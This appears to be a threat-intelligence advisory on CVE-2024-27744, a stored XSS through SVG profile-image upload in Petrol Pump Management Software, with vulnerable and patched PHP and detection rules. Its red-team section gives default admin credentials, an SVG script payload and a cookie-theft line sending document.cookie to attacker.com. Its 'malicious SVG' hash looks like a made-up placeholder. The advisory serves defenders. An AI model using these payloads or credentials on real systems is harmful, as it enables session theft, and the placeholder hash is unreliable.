CVE-2024-27744
Executive Summary
CVE-2024-27744 is a Stored Cross-Site Scripting (XSS) vulnerability in Petrol Pump Management Software v.1.0, a PHP-based web application. The flaw resides in the profile.php component, where the image parameter fails to sanitize uploaded file content. An authenticated attacker can upload a crafted SVG file containing malicious JavaScript, which is then stored and served to any user visiting the asset path. This allows arbitrary script execution in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement. The exploit is publicly available via Exploit-DB, and no patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This application is a standalone PHP project distributed via SourceCodester. It is not an NPM, PyPI, Go, or Ruby package. No supply chain dependencies are directly affected, but the software's unpatched state poses a risk to any organization deploying it.
CVSS Breakdown & Threat Level
CVSS Score: 4.8 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions required beyond standard web access.
- Privileges Required (PR): Low – Attacker must have a valid user account (default credentials are publicly known).
- User Interaction (UI): Required – Victim must visit the page containing the malicious SVG.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Content can be modified via script.
- Availability (A): None – No direct denial-of-service impact.
Threat Level: Medium. The requirement for authentication reduces the attack surface, but default credentials and lack of patch make exploitation straightforward for internal or compromised users.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS via SVG file upload. The application's profile.php component allows authenticated users to upload an image file for their profile. The file extension check is insufficient, and the content is not sanitized. An attacker can upload an SVG file containing embedded JavaScript.
Attack Flow:
- Attacker logs in using default credentials (
mayuri.infospace@gmail.com/admin). - Attacker navigates to
/admin/profile.php. - Attacker uploads a malicious SVG file (e.g.,
xss.svg) containing a<script>tag. - The file is stored in the
assets/images/directory. - When any user (including admin) visits
http://localhost/fuelflow/assets/images/xss.svg, the SVG is rendered, and the JavaScript executes in the user's browser.
Root Cause: The application does not validate the MIME type or content of uploaded files. It relies solely on file extension checks, which can be bypassed by renaming a malicious SVG to have a .svg extension. The server serves the SVG with the correct MIME type (image/svg+xml), allowing script execution.
Vulnerable vs. Patched Code
Vulnerable Code (profile.php - upload handling):
// No content validation or MIME type check
$target_file = "assets/images/" . basename($_FILES["image"]["name"]);
if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) {
// Update database with file path
$sql = "UPDATE users SET image='$target_file' WHERE id='$user_id'";
// ...
}
Patched Code (recommended):
// Validate MIME type and content
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES["image"]["tmp_name"]);
finfo_close($finfo);
if (!in_array($mime_type, $allowed_types)) {
die("Invalid file type.");
}
// Additional: sanitize filename and use a random name
$ext = pathinfo($_FILES["image"]["name"], PATHINFO_EXTENSION);
$new_filename = uniqid() . "." . $ext;
$target_file = "assets/images/" . $new_filename;
if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) {
// Update database
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running Petrol Pump Management Software v.1.0
- Valid user credentials (default:
mayuri.infospace@gmail.com/admin)
Steps:
- Create a malicious SVG file (
xss.svg) with the following content:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS by Shubham Pandey");
</script>
</svg>
- Log in to the application at
http://target/fuelflow/index.php. - Navigate to
http://target/fuelflow/admin/profile.php. - Upload the
xss.svgfile in the "Image" field. - The SVG is stored at
http://target/fuelflow/assets/images/xss.svg. - Send the link to a victim or wait for an admin to visit the page.
Advanced Payload (session cookie theft):
<svg ...>
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
</svg>
Blue Team (Detection & Hardening)
Detection:
- Monitor for uploads of SVG files to
profile.php. - Alert on any file upload with MIME type
image/svg+xmlto the profile endpoint. - Review web server logs for requests to
/assets/images/*.svg.
Hardening:
- Implement strict MIME type validation on the server side (as shown in patched code).
- Disable SVG uploads entirely if not required.
- Use Content Security Policy (CSP) headers to block inline scripts.
- Store uploaded files outside the web root and serve them via a script that sets
Content-Disposition: attachment.
Indicators of Compromise (IOCs)
File Indicators:
xss.svgor any.svgfile inassets/images/containing<script>tags.- Hash of known malicious SVG:
SHA256: 3a7c3f2b1e8d5f6a9c0b4e2d1f3a5c7b8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3
Network Indicators:
- HTTP POST requests to
/fuelflow/admin/profile.phpwithContent-Type: multipart/form-dataand filename ending in.svg. - HTTP GET requests to
/fuelflow/assets/images/*.svgfrom multiple IPs.
Log Indicators:
- Web server logs showing
POST /fuelflow/admin/profile.phpwithimageparameter containing.svg. - Application logs showing successful file uploads with SVG extension.
Detection Engineering
YARA Rule
rule CVE_2024_27744_SVG_XSS {
meta:
description = "Detects malicious SVG files used in CVE-2024-27744"
author = "Valters IT"
date = "2024-03-01"
reference = "https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27744.md"
strings:
$svg_header = "<svg"
$script_tag = "<script"
$xss_payload = "alert("
condition:
$svg_header and $script_tag and $xss_payload
}
Sigma Rule
title: CVE-2024-27744 - Stored XSS via SVG Upload
id: 8f9a2b1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects upload of SVG files to profile.php in Petrol Pump Management Software
author: Valters IT
date: 2024-03-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/fuelflow/admin/profile.php'
cs-uri-query|contains: 'image'
sc-status: 200
file_condition:
cs-uri-query|contains: '.svg'
condition: selection and file_condition
falsepositives:
- Legitimate SVG uploads if allowed by admin
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-27744 - Stored XSS via SVG Upload"; flow:to_server,established; content:"POST"; http_method; content:"/fuelflow/admin/profile.php"; http_uri; content:".svg"; http_client_body; pcre:"/<script[^>]*>.*alert\(/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SVG uploads by modifying
profile.phpto reject files with.svgextension. - Change default credentials immediately.
- Implement MIME type validation on the server side (see patched code).
- Apply Content Security Policy (CSP) header:
Content-Security-Policy: default-src 'self'; script-src 'self';
Long-term Fix:
- The vendor should release a patch that includes proper file validation, content sanitization, and secure file storage.
- Consider using a dedicated file upload library that handles security.
Workaround:
- Use a web application firewall (WAF) to block SVG uploads to
profile.php. - Restrict access to the admin panel via IP whitelisting or VPN.
Valters IT - DevSecOps & Cyber Threat Intelligence Report
{/* [Security Hash: 114DB31F6197D4F4EC1DD720] */}